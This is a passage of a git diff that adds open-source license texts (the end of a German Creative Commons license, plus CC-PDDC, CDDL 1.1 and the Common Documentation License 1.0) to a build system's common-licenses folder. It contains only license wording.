+ Falls Sie die Abwandlungen unter einer der unter (i)-(iv) genannten Lizenzen ("Verwendbare Lizenzen") lizenzieren, müssen Sie deren Lizenzbestimmungen sowie folgenden Bestimmungen Folge leisten: Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Abwandlung verbreiten oder öffentlich zeigen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Abwandlung, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Abwandlung verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf die Abwandlung) keine technischen Maßnahmen ergreifen, die den Nutzer der Abwandlung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Abwandlung einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-PDDC b/meta/files/common-licenses/CC-PDDC
new file mode 100644
index 0000000000..b64dfd6b70
--- /dev/null
+++ b/meta/files/common-licenses/CC-PDDC
@@ -0,0 +1,8 @@
+
+The person or persons who have associated work with this document (the "Dedicator" or "Certifier") hereby either (a) certifies that, to the best of his knowledge, the work of authorship identified is in the public domain of the country from which the work is published, or (b) hereby dedicates whatever copyright the dedicators holds in the work of authorship identified below (the "Work") to the public domain. A certifier, moreover, dedicates any copyright interest he may have in the associated work, and for these purposes, is described as a "dedicator" below.
+
+A certifier has taken reasonable steps to verify the copyright status of this work. Certifier recognizes that his good faith efforts may not shield him from liability if in fact the work certified is not in the public domain.
+
+Dedicator makes this dedication for the benefit of the public at large and to the detriment of the Dedicator's heirs and successors. Dedicator intends this dedication to be an overt act of relinquishment in perpetuity of all present and future rights under copyright law, whether vested or contingent, in the Work. Dedicator understands that such relinquishment of all rights includes the relinquishment of all rights to enforce (by lawsuit or otherwise) those copyrights in the Work.
+
+Dedicator recognizes that, once placed in the public domain, the Work may be freely reproduced, distributed, transmitted, used, modified, built upon, or otherwise exploited by anyone for any purpose, commercial or non-commercial, and in any way, including by methods that have not yet been invented or conceived.
diff --git a/meta/files/common-licenses/CDDL-1.1 b/meta/files/common-licenses/CDDL-1.1
new file mode 100644
index 0000000000..f5479ec406
--- /dev/null
+++ b/meta/files/common-licenses/CDDL-1.1
@@ -0,0 +1,123 @@
+COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL)
+Version 1.1
+
+1. Definitions.
+
+1.1. “Contributor” means each individual or entity that creates or contributes to the creation of Modifications.
+
+1.2. “Contributor Version” means the combination of the Original Software, prior Modifications used by a Contributor (if any), and the Modifications made by that particular Contributor.
+
+1.3. “Covered Software” means (a) the Original Software, or (b) Modifications, or (c) the combination of files containing Original Software with files containing Modifications, in each case including portions thereof.
+
+1.4. “Executable” means the Covered Software in any form other than Source Code.
+
+1.5. “Initial Developer” means the individual or entity that first makes Original Software available under this License.
+
+1.6. “Larger Work” means a work which combines Covered Software or portions thereof with code not governed by the terms of this License.
+
+1.7. “License” means this document.
+
+1.8. “Licensable” means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.9. “Modifications” means the Source Code and Executable form of any of the following:
+
+ A. Any file that results from an addition to, deletion from or modification of the contents of a file containing Original Software or previous Modifications;
+
+ B. Any new file that contains any part of the Original Software or previous Modification; or
+
+ C. Any new file that is contributed or otherwise made available under the terms of this License.
+
+1.10. “Original Software” means the Source Code and Executable form of computer software code that is originally released under this License.
+
+1.11. “Patent Claims” means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.12. “Source Code” means (a) the common form of computer software code in which modifications are made and (b) associated documentation included in or with such code.
+
+1.13. “You” (or “Your”) means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, “You” includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, “control” means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants.
+
+2.1. The Initial Developer Grant.
+Conditioned upon Your compliance with Section 3.1 below and subject to third party intellectual property claims, the Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer, to use, reproduce, modify, display, perform, sublicense and distribute the Original Software (or portions thereof), with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using or selling of Original Software, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Software (or portions thereof).
+
+ (c) The licenses granted in Sections 2.1(a) and (b) are effective on the date Initial Developer first distributes or otherwise makes the Original Software available to a third party under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: (1) for code that You delete from the Original Software, or (2) for infringements caused by: (i) the modification of the Original Software, or (ii) the combination of the Original Software with other software or devices.
+
+2.2. Contributor Grant.
+Conditioned upon Your compliance with Section 3.1 below and subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof), either on an unmodified basis, with other Modifications, as Covered Software and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: (1) Modifications made by that Contributor (or portions thereof); and (2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+
+ (c) The licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first distributes or otherwise makes the Modifications available to a third party.
+
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: (1) for any code that Contributor has deleted from the Contributor Version; (2) for infringements caused by: (i) third party modifications of Contributor Version, or (ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or (3) under Patent Claims infringed by Covered Software in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1. Availability of Source Code.
+Any Covered Software that You distribute or otherwise make available in Executable form must also be made available in Source Code form and that Source Code form must be distributed only under the terms of this License. You must include a copy of this License with every copy of the Source Code form of the Covered Software You distribute or otherwise make available. You must inform recipients of any such Covered Software in Executable form as to how they can obtain such Covered Software in Source Code form in a reasonable manner on or through a medium customarily used for software exchange.
+
+3.2. Modifications.
+The Modifications that You create or to which You contribute are governed by the terms of this License. You represent that You believe Your Modifications are Your original creation(s) and/or You have sufficient rights to grant the rights conveyed by this License.
+
+3.3. Required Notices.
+You must include a notice in each of Your Modifications that identifies You as the Contributor of the Modification. You may not remove or alter any copyright, patent or trademark notices contained within the Covered Software, or any notices of licensing or any descriptive text giving attribution to any Contributor or the Initial Developer.
+
+3.4. Application of Additional Terms.
+You may not offer or impose any terms on any Covered Software in Source Code form that alters or restricts the applicable version of this License or the recipients' rights hereunder. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, you may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.5. Distribution of Executable Versions.
+You may distribute the Executable form of the Covered Software under the terms of this License or under the terms of a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable form does not attempt to limit or alter the recipient's rights in the Source Code form from the rights set forth in this License. If You distribute the Covered Software in Executable form under a different license, You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.6. Larger Works.
+You may create a Larger Work by combining Covered Software with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Software.
+
+4. Versions of the License.
+
+4.1. New Versions.
+Oracle is the initial license steward and may publish revised and/or new versions of this License from time to time. Each version will be given a distinguishing version number. Except as provided in Section 4.3, no one other than the license steward has the right to modify this License.
+
+4.2. Effect of New Versions.
+You may always continue to use, distribute or otherwise make the Covered Software available under the terms of the version of the License under which You originally received the Covered Software. If the Initial Developer includes a notice in the Original Software prohibiting it from being distributed or otherwise made available under any subsequent version of the License, You must distribute and make the Covered Software available under the terms of the version of the License under which You originally received the Covered Software. Otherwise, You may also choose to use, distribute or otherwise make the Covered Software available under the terms of any subsequent version of the License published by the license steward.
+
+4.3. Modified Versions.
+When You are an Initial Developer and You want to create a new license for Your Original Software, You may create and use a modified version of this License if You: (a) rename the license and remove any references to the name of the license steward (except to note that the license differs from this License); and (b) otherwise make it clear that the license contains terms which differ from this License.
+
+5. DISCLAIMER OF WARRANTY.
+COVERED SOFTWARE IS PROVIDED UNDER THIS LICENSE ON AN “AS IS” BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED SOFTWARE IS WITH YOU. SHOULD ANY COVERED SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+6. TERMINATION.
+
+6.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+6.2. If You assert a patent infringement claim (excluding declaratory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You assert such claim is referred to as “Participant”) alleging that the Participant Software (meaning the Contributor Version where the Participant is a Contributor or the Original Software where the Participant is the Initial Developer) directly or indirectly infringes any patent, then any and all rights granted directly or indirectly to You by such Participant, the Initial Developer (if the Initial Developer is not the Participant) and all Contributors under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively and automatically at the expiration of such 60 day notice period, unless if within such 60 day period You withdraw Your claim with respect to the Participant Software against such Participant either unilaterally or pursuant to a written agreement with Participant.
+
+6.3. If You assert a patent infringement claim against Participant alleging that the Participant Software directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+6.4. In the event of termination under Sections 6.1 or 6.2 above, all end user licenses that have been validly granted by You or any distributor hereunder prior to termination (excluding licenses granted to You by any distributor) shall survive termination.
+
+7. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED SOFTWARE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+8. U.S. GOVERNMENT END USERS.
+
+The Covered Software is a “commercial item,” as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of “commercial computer software” (as that term is defined at 48 C.F.R. § 252.227-7014(a)(1)) and “commercial computer software documentation” as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Software with only those rights set forth herein. This U.S. Government Rights clause is in lieu of, and supersedes, any other FAR, DFAR, or other clause or provision that addresses Government rights in computer software under this License.
+
+9. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by the law of the jurisdiction specified in a notice contained within the Original Software (except to the extent applicable law, if any, provides otherwise), excluding such jurisdiction's conflict-of-law provisions. Any litigation relating to this License shall be subject to the jurisdiction of the courts located in the jurisdiction and venue specified in a notice contained within the Original Software, with the losing party responsible for costs, including, without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License. You agree that You alone are responsible for compliance with the United States export administration regulations (and the export control laws and regulation of any other countries) when You use, distribute or otherwise make available any Covered Software.
+
+10. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+NOTICE PURSUANT TO SECTION 9 OF THE COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL)
+The code released under the CDDL shall be governed by the laws of the State of California (excluding conflict-of-law provisions). Any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California and the state courts of the State of California, with venue lying in Santa Clara County, California.
diff --git a/meta/files/common-licenses/CDL-1.0 b/meta/files/common-licenses/CDL-1.0
new file mode 100644
index 0000000000..e2990cde2d
--- /dev/null
+++ b/meta/files/common-licenses/CDL-1.0
@@ -0,0 +1,53 @@
+Common Documentation License
+
+Version 1.0 - February 16, 2001
+
+Copyright © 2001 Apple Computer, Inc.
+
+Permission is granted to copy and distribute verbatim copies of this License, but changing or adding to it in any way is not permitted.
+
+Please read this License carefully before downloading or using this material. By downloading or using this material, you are agreeing to be bound by the terms of this License. If you do not or cannot agree to the terms of this License, please do not download or use this material.
+
+0. Preamble. The Common Documentation License (CDL) provides a very simple and consistent license that allows relatively unrestricted use and redistribution of documents while still maintaining the author's credit and intent. To preserve simplicity, the License does not specify in detail how (e.g. font size) or where (e.g. title page, etc.) the author should be credited. To preserve consistency, changes to the CDL are not allowed and all derivatives of CDL documents are required to remain under the CDL. Together, these constraints enable third parties to easily and safely reuse CDL documents, making the CDL ideal for authors who desire a wide distribution of their work. However, this means the CDL does not allow authors to restrict precisely how their work is used or represented, making it inappropriate for those desiring more finely-grained control.
+
+1. General; Definitions. This License applies to any documentation, manual or other work that contains a notice placed by the Copyright Holder stating that it is subject to the terms of this Common Documentation License version 1.0 (or subsequent version thereof) ("License"). As used in this License:
+
+1.1 "Copyright Holder" means the original author(s) of the Document or other owner(s) of the copyright in the Document.
+
+1.2 "Document(s)" means any documentation, manual or other work that has been identified as being subject to the terms of this License.
+
+1.3 "Derivative Work" means a work which is based upon a pre-existing Document, such as a revision, modification, translation, abridgment, condensation, expansion, or any other form in which such pre-existing Document may be recast, transformed, or adapted.
+
+1.4 "You" or "Your" means an individual or a legal entity exercising rights under this License.
+
+2. Basic License. Subject to all the terms and conditions of this License, You may use, copy, modify, publicly display, distribute and publish the Document and your Derivative Works thereof, in any medium physical or electronic, commercially or non-commercially; provided that: (a) all copyright notices in the Document are preserved; (b) a copy of this License, or an incorporation of it by reference in proper form as indicated in Exhibit A below, is included in a conspicuous location in all copies such that it would be reasonably viewed by the recipient of the Document; and (c) You add no other terms or conditions to those of this License.
+
+3. Derivative Works. All Derivative Works are subject to the terms of this License. You may copy and distribute a Derivative Work of the Document under the conditions of Section 2 above, provided that You release the Derivative Work under the exact, verbatim terms of this License (i.e., the Derivative Work is licensed as a "Document" under the terms of this License). In addition, Derivative Works of Documents must meet the following requirements:
+
+ (a) All copyright and license notices in the original Document must be preserved.
+
+ (b) An appropriate copyright notice for your Derivative Work must be added adjacent to the other copyright notices.
+
+ (c) A statement briefly summarizing how your Derivative Work is different from the original Document must be included in the same place as your copyright notice.
+
+ (d) If it is not reasonably evident to a recipient of your Derivative Work that the Derivative Work is subject to the terms of this License, a statement indicating such fact must be included in the same place as your copyright notice.
+
+4. Compilation with Independent Works. You may compile or combine a Document or its Derivative Works with other separate and independent documents or works to create a compilation work ("Compilation"). If included in a Compilation, the Document or Derivative Work thereof must still be provided under the terms of this License, and the Compilation shall contain (a) a notice specifying the inclusion of the Document and/or Derivative Work and the fact that it is subject to the terms of this License, and (b) either a copy of the License or an incorporation by reference in proper form (as indicated in Exhibit A). Mere aggregation of a Document or Derivative Work with other documents or works on the same storage or distribution medium (e.g. a CD-ROM) will not cause this License to apply to those other works.
+
+5. NO WARRANTY. THE DOCUMENT IS PROVIDED 'AS IS' BASIS, WITHOUT WARRANTY OF ANY KIND, AND THE COPYRIGHT HOLDER EXPRESSLY DISCLAIMS ALL WARRANTIES AND/OR CONDITIONS WITH RESPECT TO THE DOCUMENT, EITHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND OF NONINFRINGEMENT OF THIRD PARTY RIGHTS.
+
+6. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY INCIDENTAL, SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING TO THIS LICENSE OR YOUR USE, REPRODUCTION, MODIFICATION, DISTRIBUTION AND/OR PUBLICATION OF THE DOCUMENT, OR ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, EVEN IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY REMEDY.
+
+7. Trademarks. This License does not grant any rights to use any names, trademarks, service marks or logos of the Copyright Holder (collectively "Marks") and no such Marks may be used to endorse or promote works or products derived from the Document without the prior written permission of the Copyright Holder.
+
+8. Versions of the License. Apple Computer, Inc. ("Apple") may publish revised and/or new versions of this License from time to time. Each version will be given a distinguishing version number. Once a Document has been published under a particular version of this License, You may continue to use it under the terms of that version. You may also choose to use such Document under the terms of any subsequent version of this License published by Apple. No one other than Apple has the right to modify the terms applicable to Documents created under this License.
+
+9. Termination. This License and the rights granted hereunder will terminate automatically if You fail to comply with any of its terms. Upon termination, You must immediately stop any further reproduction, modification, public display, distr ibution and publication of the Document and Derivative Works. However, all sublicenses to the Document and Derivative Works which have been properly granted prior to termination shall survive any termination of this License. Provisions which, by their nat ure, must remain in effect beyond the termination of this License shall survive, including but not limited to Sections 5, 6, 7, 9 and 10.
+
